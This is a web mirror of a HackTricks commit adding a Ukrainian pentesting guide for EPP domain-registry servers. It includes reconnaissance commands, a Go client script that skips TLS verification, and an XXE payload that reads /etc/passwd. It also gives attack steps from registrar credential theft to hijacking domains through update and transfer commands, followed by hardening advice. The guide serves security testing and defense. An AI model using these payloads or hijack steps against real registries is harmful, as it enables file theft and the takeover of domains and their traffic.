mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/700-pentesting-epp.md'] to
This commit is contained in:
parent
a8c5f67a0a
commit
8648801851
@ -4,12 +4,112 @@
|
|||||||
|
|
||||||
## Основна інформація
|
## Основна інформація
|
||||||
|
|
||||||
Розширений протокол надання (EPP) - це мережевий протокол, що використовується для **управління доменними іменами та іншими інтернет-ресурсами** реєстрами доменних імен та реєстраторами. Він дозволяє автоматизацію процесів реєстрації, продовження, передачі та видалення доменних імен, забезпечуючи стандартизовану та безпечну комунікаційну структуру між різними суб'єктами в системі доменних імен (DNS). EPP розроблений для гнучкості та розширюваності, що дозволяє додавати нові функції та команди в міру розвитку потреб інфраструктури Інтернету.
|
Розширювальний протокол надання (EPP) - це мережевий протокол, що використовується для **управління доменними іменами та іншими інтернет-ресурсами** реєстрами доменних імен та реєстраторами. Він дозволяє автоматизацію процесів реєстрації, продовження, передачі та видалення доменних імен, забезпечуючи стандартизовану та безпечну комунікаційну структуру між різними суб'єктами в системі доменних імен (DNS). EPP розроблений так, щоб бути гнучким і розширювальним, що дозволяє додавати нові функції та команди в міру розвитку потреб інфраструктури Інтернету.
|
||||||
|
|
||||||
В основному, це один з протоколів, які **реєстратор TLD буде пропонувати реєстраторам доменів** для реєстрації нових доменів у TLD.
|
В основному, це один з протоколів, які **реєстратор TLD пропонуватиме реєстраторам доменів** для реєстрації нових доменів у TLD.
|
||||||
|
|
||||||
### Пентест
|
### Пентест
|
||||||
|
|
||||||
[**У цій дуже цікавій статті**](https://hackcompute.com/hacking-epp-servers/) ви можете побачити, як деякі дослідження безпеки виявили, що кілька **реалізацій цього протоколу** були вразливі до XXE (XML External Entity), оскільки цей протокол використовує XML для комунікації, що дозволило б зловмисникам захопити десятки різних TLD.
|
[**У цій дуже цікавій статті**](https://hackcompute.com/hacking-epp-servers/) ви можете побачити, як деякі дослідження безпеки виявили, що кілька **реалізацій цього протоколу** були вразливі до XXE (XML External Entity), оскільки цей протокол використовує XML для комунікації, що дозволило б зловмисникам захопити десятки різних TLD.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Перерахунок та розвідка
|
||||||
|
|
||||||
|
Сервери EPP майже завжди слухають на TCP `700/tcp` через TLS. Типове розгортання також забезпечує **взаємний TLS (mTLS)**, тому клієнт повинен представити дійсний сертифікат, виданий CA реєстру. Проте багато приватних тестових або передвиробничих розгортань забувають про цей контроль:
|
||||||
|
```bash
|
||||||
|
# Banner-grabbing / TLS inspection
|
||||||
|
nmap -p700 --script ssl-cert,ssl-enum-ciphers <target>
|
||||||
|
|
||||||
|
# Check if mTLS is *really* required (it frequently is not!)
|
||||||
|
openssl s_client -connect <target>:700 -quiet \
|
||||||
|
-servername epp.test 2>/dev/null | head
|
||||||
|
```
|
||||||
|
Якщо сервер не закриває з'єднання після TLS-рукопожаття, ви можете спробувати надіслати неавтентифіковане `<hello/>` повідомлення:
|
||||||
|
```xml
|
||||||
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
|
<epp xmlns="urn:ietf:params:xml:ns:epp-1.0">
|
||||||
|
<hello/>
|
||||||
|
</epp>
|
||||||
|
```
|
||||||
|
### Відкриті клієнти, корисні для тестування
|
||||||
|
|
||||||
|
* **epp-client (Go)** – активно підтримується, підтримує TCP/TLS та EPP-over-HTTPS (RFC 8730):
|
||||||
|
`go install github.com/domainr/epp/cmd/epp@latest`
|
||||||
|
* **gandi/go-epp** – мінімальна бібліотека клієнта, яку можна легко налаштувати для фуззингу або робочих процесів у стилі nuclei.
|
||||||
|
* **afq984/php-epp-client** – реалізація на PHP, яку використовують багато малих реєстраторів; зручна ціль для перевірки коду.
|
||||||
|
|
||||||
|
Приклад мінімального скрипта для входу+перевірки з Go epp-client:
|
||||||
|
```go
|
||||||
|
package main
|
||||||
|
import (
|
||||||
|
"github.com/domainr/epp"
|
||||||
|
"crypto/tls"
|
||||||
|
)
|
||||||
|
|
||||||
|
func main() {
|
||||||
|
cfg := &tls.Config{InsecureSkipVerify: true}
|
||||||
|
c, _ := epp.DialTLS("epp.test:700", cfg)
|
||||||
|
c.Login("CLIENT_ID", "PASSWORD", nil)
|
||||||
|
resp, _ := c.DomainCheck("example","com")
|
||||||
|
println(resp)
|
||||||
|
}
|
||||||
|
```
|
||||||
|
---
|
||||||
|
|
||||||
|
## Загальні слабкості та вразливості 2023-2025
|
||||||
|
|
||||||
|
| Рік | Компонент | CWE | Вплив |
|
||||||
|
|------|-----------|-----|--------|
|
||||||
|
| 2023 | CoCCA Реєстр < 3.5 | CWE-611 XXE | Дистанційне читання файлів та SSRF через підготовлений `<epp>` вантаж (патч: 2023-11-02) |
|
||||||
|
| 2024 | FRED EPP Сервер 2.x | CWE-322 Недостатня валідація TLS сертифікатів | Обхід mTLS дозволив несанкціонований вхід реєстратора |
|
||||||
|
| 2025 | Приватна панель реєстратора | CWE-306 Відсутня аутентифікація для критичної функції | Точка затвердження передачі домену відкрита через EPP-HTTP міст |
|
||||||
|
|
||||||
|
### XXE / SSRF вантаж (працює проти багатьох реалізацій Java/Spring)
|
||||||
|
```xml
|
||||||
|
<?xml version="1.0"?>
|
||||||
|
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
|
||||||
|
<epp xmlns="urn:ietf:params:xml:ns:epp-1.0">
|
||||||
|
<command>
|
||||||
|
<check>
|
||||||
|
<domain:check xmlns:domain="urn:ietf:params:xml:ns:domain-1.0">
|
||||||
|
<domain:name>&xxe;</domain:name>
|
||||||
|
</domain:check>
|
||||||
|
</check>
|
||||||
|
</command>
|
||||||
|
</epp>
|
||||||
|
```
|
||||||
|
Коли парсер неправильно налаштований (`XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES=true`), вміст файлу повертається всередині структури `<resData>`.
|
||||||
|
|
||||||
|
### Інші типові знахідки
|
||||||
|
|
||||||
|
1. **Слабка політика облікових даних** – паролі для входу в EPP коротші за 8 символів; брутфорс часто можливий, оскільки специфікація лише РЕКОМЕНДУЄ (не вимагає) обмеження швидкості.
|
||||||
|
2. **Відсутній статус `registryLock` / `serverUpdateProhibited`** – після аутентифікації зловмисники можуть негайно оновити записи NS і вкрасти трафік.
|
||||||
|
3. **Несигновані повідомлення опитування** – деякі реалізації все ще не підписують повідомлення Q&A опитування, що дозволяє підробку/фішинг операторів реєстраторів.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Шлях атаки: Від нуля до захоплення TLD
|
||||||
|
|
||||||
|
1. Виявити EPP кінцеву точку (часто приховану за загальним хостом, таким як `ot&e.<tld>.nic.<cc>`).
|
||||||
|
2. Зловживати однією з вразливостей вище, щоб отримати облікові дані на рівні реєстратора (XXE → SSRF до IMDSv1, ексфільтрація облікових даних або TLS-обхід).
|
||||||
|
3. Випустити запити `<update>`, щоб змінити записи `hostObj` домену на сервери імен, контрольовані зловмисником.
|
||||||
|
4. (Необов'язково) Подати `<transfer>`, щоб перемістити домен до реєстратора, контрольованого зловмисником – багато реєстрів все ще покладаються на **один код авторизації**.
|
||||||
|
5. Прибуток: повний контроль над DNS зоною, можливість запитувати TLS сертифікати через ACME.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Заходи захисту та зміцнення
|
||||||
|
|
||||||
|
* Вимагати **mTLS з сертифікатами клієнтів для кожного реєстратора** та закріпити CA реєстру.
|
||||||
|
* Встановити `parserFeature secure-processing=true` або еквівалент для знищення XXE.
|
||||||
|
* Запустити **безперервне фуззингування** XML парсера (наприклад, з `go-fuzz` або `jazzer` для Java).
|
||||||
|
* Впровадити **статуси Registry Lock / server*Prohibited** для доменів з високою вартістю.
|
||||||
|
* Моніторити чергу `poll` на підозрілі команди `<transfer>` або `<update>` та сповіщати в реальному часі.
|
||||||
|
* Поправки до контракту ICANN 2024 про зловживання DNS вимагають від реєстрів доводити обмеження швидкості та контроль авторизації – використовуйте їх.
|
||||||
|
|
||||||
|
## Посилання
|
||||||
|
|
||||||
|
* ICANN Security and Stability Advisory Committee (SSAC). "SAC118: Наслідки невиконання оператором реєстру заходів безпеки EPP". 2024.
|
||||||
|
* HackCompute – "Злом EPP серверів: зловживання XXE для захоплення TLD" (2023).
|
||||||
{{#include ../banners/hacktricks-training.md}}
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
|
Loading…
x
Reference in New Issue
Block a user